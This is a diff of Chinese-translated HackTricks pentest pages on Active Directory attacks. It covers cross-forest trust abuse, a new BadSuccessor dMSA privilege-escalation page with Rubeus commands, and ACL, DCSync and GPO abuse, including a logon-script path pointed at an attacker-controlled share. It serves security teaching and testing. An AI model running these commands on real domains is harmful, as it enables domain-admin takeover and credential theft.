2. 检查任何**安全主体**(用户/组/计算机)是否对**其他域**的资源有**访问权限**,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
2. 检查是否有任何**安全主体**(用户/组/计算机)对**其他域**的资源有**访问**权限,可能通过 ACE 条目或通过在其他域的组中查找。寻找**跨域的关系**(信任可能是为此创建的)。
1. 在这种情况下kerberoast 可能是另一个选项。
3. **妥协**可以**跨域**进行**转移**的**账户**
攻击者可以通过三种主要机制访问另一个域中的资源:
- **本地组成员资格**:主体可能被添加到机器上的本地组中,例如服务器上的“管理员”组,从而授予他们对该机器的重大控制。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,方法的有效性取决于信任的性质和组的范围。
- **访问控制列表 (ACL)**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**内,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,白皮书《[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)是一个宝贵的资源。
- **外部域组成员资格**:主体也可以是外部域中组的成员。然而,这种方法的有效性取决于信任的性质和组的范围。
- **访问控制列表ACLs**:主体可能在**ACL**中被指定,特别是在**DACL**中的**ACE**中,提供对特定资源的访问权限。对于那些希望深入了解 ACL、DACL 和 ACE 机制的人,题为“[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)”的白皮书是一个宝贵的资源。
### 查找具有权限的外部用户/组
您可以检查 **`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`** 以查找域中的外部安全主体。这些将是来自**外部域/森林**的用户/组。
你可以检查**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**以查找域中的外部安全主体。这些将是来自**外部域/森林**的用户/组。
您可以在 **Bloodhound** 中检查此项或使用 powerview
你可以在**Bloodhound**中检查此项或使用 powerview
```powershell
# Get users that are i groups outside of the current domain
Get-DomainForeignUser
@ -594,7 +594,7 @@ nltest /dclist:sub.domain.local
nltest /server:dc.sub.domain.local /domain_trusts /all_trusts
```
> [!WARNING]
> 这里有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_\
> 这里有 **2 个受信任的密钥**,一个用于 _Child --> Parent_,另一个用于 _Parent_ --> _Child_.\
> 您可以使用以下命令查看当前域使用的密钥:
>
> ```bash
@ -636,7 +636,7 @@ sid-history-injection.md
ADCS ESC5 漏洞针对对公钥基础设施 (PKI) 对象的控制,以创建一个证书模板,使其能够作为森林中的任何用户进行身份验证。由于 PKI 对象位于配置 NC 中,危害可写的子 DC 使得执行 ESC5 攻击成为可能。
有关更多详细信息,请参阅 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中讨论的。
更多细节可以在 [通过 ESC5 从 DA 到 EA](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) 中阅读。在缺乏 ADCS 的情况下,攻击者有能力设置必要的组件,如 [从子域管理员提升到企业管理员](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) 中讨论的那样
### 外部森林域 - 单向(入站)或双向
```bash
@ -649,7 +649,7 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
在这种情况下,**您的域受到外部域的信任**,这使您对其拥有**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**,然后尝试利用它:
在这种情况下,**您的域受到外部域的信任**,这使您拥有**不确定的权限**。您需要找出**您的域中的哪些主体对外部域具有哪些访问权限**,然后尝试利用它:
{{#ref}}
external-forest-domain-oneway-inbound.md
@ -667,9 +667,9 @@ TrustDirection : Outbound --> Outbound trust
WhenCreated : 2/19/2021 10:15:24 PM
WhenChanged : 2/19/2021 10:15:24 PM
```
在这种情况下,**您的域**正在**信任**来自**不同域**的主体的一些**权限**。
在这种情况下,**您的域**正在向来自**不同域**的主体**信任**一些**权限**。
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任域**,以枚举它并尝试提升更多权限:
然而,当一个**域被信任**时,受信任的域**创建一个用户**,其**名称是可预测的**,并使用**受信任的密码**作为**密码**。这意味着可以**访问来自信任域的用户以进入受信任域**,以枚举它并尝试提升更多权限:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -677,7 +677,7 @@ external-forest-domain-one-way-outbound.md
另一种妥协受信任域的方法是查找在域信任的**相反方向**创建的[**SQL受信任链接**](abusing-ad-mssql.md#mssql-trusted-links)(这并不常见)。
另一种妥协受信任域的方法是等待在一台**受信任域用户可以访问**的机器上,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
另一种妥协受信任域的方法是在一台**受信任域用户可以访问**的机器上等待,通过**RDP**登录。然后攻击者可以在RDP会话进程中注入代码并从那里**访问受害者的源域**。\
此外,如果**受害者挂载了他的硬盘**,攻击者可以在**RDP会话**进程中将**后门**存储在**硬盘的启动文件夹**中。这种技术称为**RDPInception**。
{{#ref}}
@ -688,13 +688,13 @@ rdp-sessions-abuse.md
### **SID过滤**
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设,考虑到森林而不是域作为安全边界,认为内部森林信任是安全的,这是微软的立场。
- 通过SID过滤来减轻利用SID历史属性进行攻击的风险该过滤在所有森林信任中默认启用。这是基于假设考虑到森林而不是域作为安全边界认为森林内的信任是安全的,这是微软的立场。
- 然而有一个问题SID过滤可能会干扰应用程序和用户访问导致其偶尔被禁用。
### **选择性证:**
### **选择性身份验证:**
- 对于跨森林信任,采用选择性认证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
- 对于森林间信任,采用选择性身份验证确保两个森林的用户不会自动被认证。相反,用户需要明确的权限才能访问信任域或森林中的域和服务器。
- 需要注意的是这些措施并不能保护免受可写配置命名上下文NC的利用或对信任户的攻击。
[**有关域信任的更多信息请访问ired.team。**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
@ -711,13 +711,13 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
### **凭据保护的防御措施**
- **域管理员限制**:建议仅允许域管理员登录到域控制器,避免在其他主机上使用。
- **服务户权限**服务不应以域管理员DA权限运行以保持安全。
- **服务户权限**服务不应以域管理员DA权限运行以保持安全。
- **临时权限限制**对于需要DA权限的任务其持续时间应有限制。这可以通过以下方式实现`Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **实施欺骗技术**
- 实施欺骗涉及设置陷阱,如诱饵用户或计算机,具有如不过期的密码或标记为受信任的委托等特征。详细的方法包括创建具有特定权限的用户或将其添加到高权限组。
- 一个实际的例子涉及使用工具:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 实施欺骗涉及设置陷阱,如诱饵用户或计算机,具有如不过期的密码或标记为受信任的委托等特性。详细方法包括创建具有特定权限的用户或将其添加到高权限组。
- 一个实际示例涉及使用工具:`Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- 有关部署欺骗技术的更多信息,请访问[Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)。
### **识别欺骗**
@ -729,7 +729,7 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
- **Microsoft ATA检测绕过**
- **用户枚举**避免在域控制器上进行会话枚举以防止ATA检测。
- **票据冒充**:利用**aes**密钥创建票据有助于避免检测因为不降级到NTLM。
- **票证冒充**:利用**aes**密钥创建票证有助于避免检测因为不降级到NTLM。
- **DCSync攻击**建议从非域控制器执行以避免ATA检测因为直接从域控制器执行会触发警报。
## 参考文献

View File

@ -0,0 +1,67 @@
# 滥用 Active Directory ACLs/ACEs
{{#include ../../../banners/hacktricks-training.md}}
## 概述
委派的托管服务账户 (**dMSAs**) 是在 **Windows Server 2025** 中引入的一种全新 AD 主体类型。它们旨在通过允许一键“迁移”来替代传统服务账户,自动将旧账户的服务主体名称 (SPNs)、组成员资格、委派设置,甚至加密密钥复制到新的 dMSA 中,从而为应用程序提供无缝切换,并消除 Kerberoasting 风险。
Akamai 研究人员发现,单个属性 — **`msDSManagedAccountPrecededByLink`** — 告诉 KDC 哪个传统账户是 dMSA “继承”的。如果攻击者能够写入该属性(并切换 **`msDSDelegatedMSAState` → 2**KDC 将乐意构建一个 PAC该 PAC **继承所选受害者的每个 SID**,有效地允许 dMSA 冒充任何用户,包括域管理员。
## dMSA 到底是什么?
* 基于 **gMSA** 技术,但存储为新的 AD 类 **`msDSDelegatedManagedServiceAccount`**。
* 支持 **选择性迁移**:调用 `StartADServiceAccountMigration` 将 dMSA 链接到传统账户,授予传统账户对 `msDSGroupMSAMembership` 的写入访问权限,并将 `msDSDelegatedMSAState` 翻转为 1。
* 在 `CompleteADServiceAccountMigration` 之后替代账户被禁用dMSA 变为完全功能;任何之前使用传统账户的主机都被自动授权以提取 dMSA 的密码。
* 在身份验证期间KDC 嵌入一个 **KERBSUPERSEDEDBYUSER** 提示,以便 Windows 11/24H2 客户端透明地使用 dMSA 重试。
## 攻击要求
1. **至少一个 Windows Server 2025 DC**,以便 dMSA LDAP 类和 KDC 逻辑存在。
2. **在 OU 上的任何对象创建或属性写入权限**(任何 OU 例如 `Create msDSDelegatedManagedServiceAccount` 或简单地 **Create All Child Objects**。Akamai 发现 91% 的真实租户将此类“良性”OU 权限授予非管理员。
3. 能够从任何域加入的主机上运行工具PowerShell/Rubeus以请求 Kerberos 票证。
*不需要对受害者用户的控制;攻击从未直接接触目标账户。*
## 步骤BadSuccessor*特权提升
1. **定位或创建一个你控制的 dMSA**
```bash
NewADServiceAccount Attacker_dMSA `
DNSHostName ad.lab `
Path "OU=temp,DC=lab,DC=local"
```
因为你在可以写入的 OU 中创建了对象,所以你自动拥有其所有属性。
2. **在两个 LDAP 写入中模拟“完成迁移”**
- 设置 `msDSManagedAccountPrecededByLink = DN` 为任何受害者(例如 `CN=Administrator,CN=Users,DC=lab,DC=local`)。
- 设置 `msDSDelegatedMSAState = 2`(迁移完成)。
**SetADComputer, ldapmodify**,甚至 **ADSI Edit** 这样的工具都可以使用;不需要域管理员权限。
3. **请求 dMSA 的 TGT** — Rubeus 支持 `/dmsa` 标志:
```bash
Rubeus.exe asktgs /targetuser:attacker_dmsa$ /service:krbtgt/aka.test /dmsa /opsec /nowrap /ptt /ticket:<Machine TGT>
```
返回的 PAC 现在包含 SID 500Administrator以及域管理员/企业管理员组。
## 收集所有用户密码
在合法迁移期间KDC 必须允许新的 dMSA 解密 **在切换之前发给旧账户的票证**。为了避免中断实时会话,它将当前密钥和以前的密钥放入一个新的 ASN.1 blob 中,称为 **`KERBDMSAKEYPACKAGE`**。
因为我们的假迁移声称 dMSA 继承了受害者KDC 认真地将受害者的 RC4-HMAC 密钥复制到 **previouskeys** 列表中 — 即使 dMSA 从未拥有“以前”的密码。该 RC4 密钥是未加盐的,因此它实际上是受害者的 NT 哈希,赋予攻击者 **离线破解或“传递哈希”** 的能力。
因此,大规模链接数千个用户使攻击者能够“规模化”地转储哈希,将 **BadSuccessor 变成特权提升和凭证泄露的原语**
## 工具
- [https://github.com/akamai/BadSuccessor](https://github.com/akamai/BadSuccessor)
- [https://github.com/logangoins/SharpSuccessor](https://github.com/logangoins/SharpSuccessor)
- [https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1](https://github.com/LuemmelSec/Pentest-Tools-Collection/blob/main/tools/ActiveDirectory/BadSuccessor.ps1)
## 参考
- [https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory](https://www.akamai.com/blog/security-research/abusing-dmsa-for-privilege-escalation-in-active-directory)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,6 +4,12 @@
**本页面主要总结了来自** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **和** [**https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges**](https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/privileged-accounts-and-token-privileges)**的技术总结。有关更多详细信息,请查看原始文章。**
## BadSuccesor
{{#ref}}
BadSuccesor.md
{{#endref}}
## **用户的 GenericAll 权限**
此权限授予攻击者对目标用户帐户的完全控制。一旦使用 `Get-ObjectAcl` 命令确认了 `GenericAll` 权限,攻击者可以:
@ -15,7 +21,7 @@ Set-DomainObject -Credential $creds -Identity <username> -Set @{serviceprincipal
.\Rubeus.exe kerberoast /user:<username> /nowrap
Set-DomainObject -Credential $creds -Identity <username> -Clear serviceprincipalname -Verbose
```
- **Targeted ASREPRoasting**: 禁用用户的预身份验证,使其帐户容易受到 ASREPRoasting 攻击。
- **Targeted ASREPRoasting**: 禁用用户的预身份验证,使其账户容易受到ASREPRoasting攻击。
```bash
Set-DomainObject -Identity <username> -XOR @{UserAccountControl=4194304}
```
@ -72,7 +78,7 @@ rpcclient -U KnownUsername 10.10.10.192
```
## **WriteOwner 权限在组上**
如果攻击者发现他们对一个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 修改所有者,可以通过 SID 或名称进行修改。
如果攻击者发现他们对一个组拥有 `WriteOwner` 权限,他们可以将该组的所有权更改为自己。这在该组是 `Domain Admins` 时尤其具有影响力,因为更改所有权允许对组属性和成员资格进行更广泛的控制。该过程涉及通过 `Get-ObjectAcl` 确定正确的对象,然后使用 `Set-DomainObjectOwner` 通过 SID 或名称修改所有者
```bash
Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
@ -80,13 +86,13 @@ Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
```
## **GenericWrite on User**
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本来实现的
此权限允许攻击者修改用户属性。具体来说,拥有 `GenericWrite` 访问权限的攻击者可以更改用户的登录脚本路径,以便在用户登录时执行恶意脚本。这是通过使用 `Set-ADObject` 命令更新目标用户的 `scriptpath` 属性,使其指向攻击者的脚本。
```bash
Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
```
## **GenericWrite on Group**
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用它来添加或移除用户,并使用 PowerShell 命令验证成员资格更改。
通过此权限,攻击者可以操纵组成员资格,例如将自己或其他用户添加到特定组中。此过程涉及创建凭据对象,使用该对象将用户添加或移除组,并使用 PowerShell 命令验证成员资格更改。
```bash
$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force
$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)
@ -106,13 +112,13 @@ $ADSI.psbase.commitchanges()
```
## **域上的复制 (DCSync)**
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够从 AD 环境中提取敏感信息,而无需直接访问域控制器。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数据,包括用户凭据。这个强大的技术需要像 `DS-Replication-Get-Changes` 这样的权限,使攻击者能够在没有直接访问域控制器的情况下,从 AD 环境中提取敏感信息。[**在这里了解更多关于 DCSync 攻击的信息。**](../dcsync.md)
## GPO 委派 <a href="#gpo-delegation" id="gpo-delegation"></a>
### GPO 委派
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用用于恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
委派管理组策略对象 (GPO) 的访问权限可能会带来重大安全风险。例如,如果用户如 `offense\spotless` 被委派 GPO 管理权限,他们可能拥有 **WriteProperty**、**WriteDacl** 和 **WriteOwner** 等权限。这些权限可能被滥用以进行恶意目的,使用 PowerView 识别:`bash Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}`
### 枚举 GPO 权限
@ -122,7 +128,9 @@ DCSync 攻击利用域上的特定复制权限,模拟域控制器并同步数
**应用于特定计算机的策略**:要查看应用于特定计算机的策略,可以使用 `Get-DomainGPO` 等命令。
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 来识别受特定策略影响的组织单位 (OU)。
**应用了给定策略的 OU**:可以使用 `Get-DomainOU` 识别受特定策略影响的组织单位 (OU)。
您还可以使用工具 [**GPOHound**](https://github.com/cogiceo/GPOHound) 来枚举 GPO 并查找其中的问题。
### 滥用 GPO - New-GPOImmediateTask
@ -147,9 +155,9 @@ SharpGPOAbuse 提供了一种通过添加任务或修改设置来滥用现有 GP
GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是在实施更改后,可以在目标计算机上使用 `gpupdate /force` 命令强制立即更新策略。此命令确保对 GPO 的任何修改在下一个自动更新周期之前立即应用。
### 背后的机制
### 背后原理
检查给定 GPO 的计划任务时,可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
检查给定 GPO 的计划任务时,例如 `Misconfigured Policy`可以确认添加了诸如 `evilTask` 的任务。这些任务是通过脚本或命令行工具创建的,旨在修改系统行为或提升权限。
任务的结构,如 `New-GPOImmediateTask` 生成的 XML 配置文件所示,概述了计划任务的具体细节,包括要执行的命令及其触发器。该文件表示如何在 GPO 中定义和管理计划任务,提供了一种作为政策执行一部分执行任意命令或脚本的方法。
@ -157,9 +165,9 @@ GPO 更新通常每 90 分钟发生一次。为了加快这个过程,特别是
GPO 还允许在目标系统上操纵用户和组的成员资格。通过直接编辑用户和组政策文件,攻击者可以将用户添加到特权组中,例如本地 `administrators` 组。这是通过委派 GPO 管理权限实现的,允许修改政策文件以包含新用户或更改组成员资格。
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以在受影响的系统上授予特定用户提升的权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。
用户和组的 XML 配置文件概述了这些更改是如何实施的。通过向该文件添加条目,可以授予特定用户在受影响系统上的提升权限。这种方法提供了一种通过 GPO 操作直接进行权限提升的途径。
此外,还可以考虑其他执行代码或维持持久性的方式,例如利用登录/注销脚本、修改注册表键以进行自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的种途径。
此外,还可以考虑其他执行代码或维持持久性的方式,例如利用登录/注销脚本、修改注册表键以实现自动运行、通过 .msi 文件安装软件或编辑服务配置。这些技术提供了通过滥用 GPO 维持访问和控制目标系统的种途径。
## 参考文献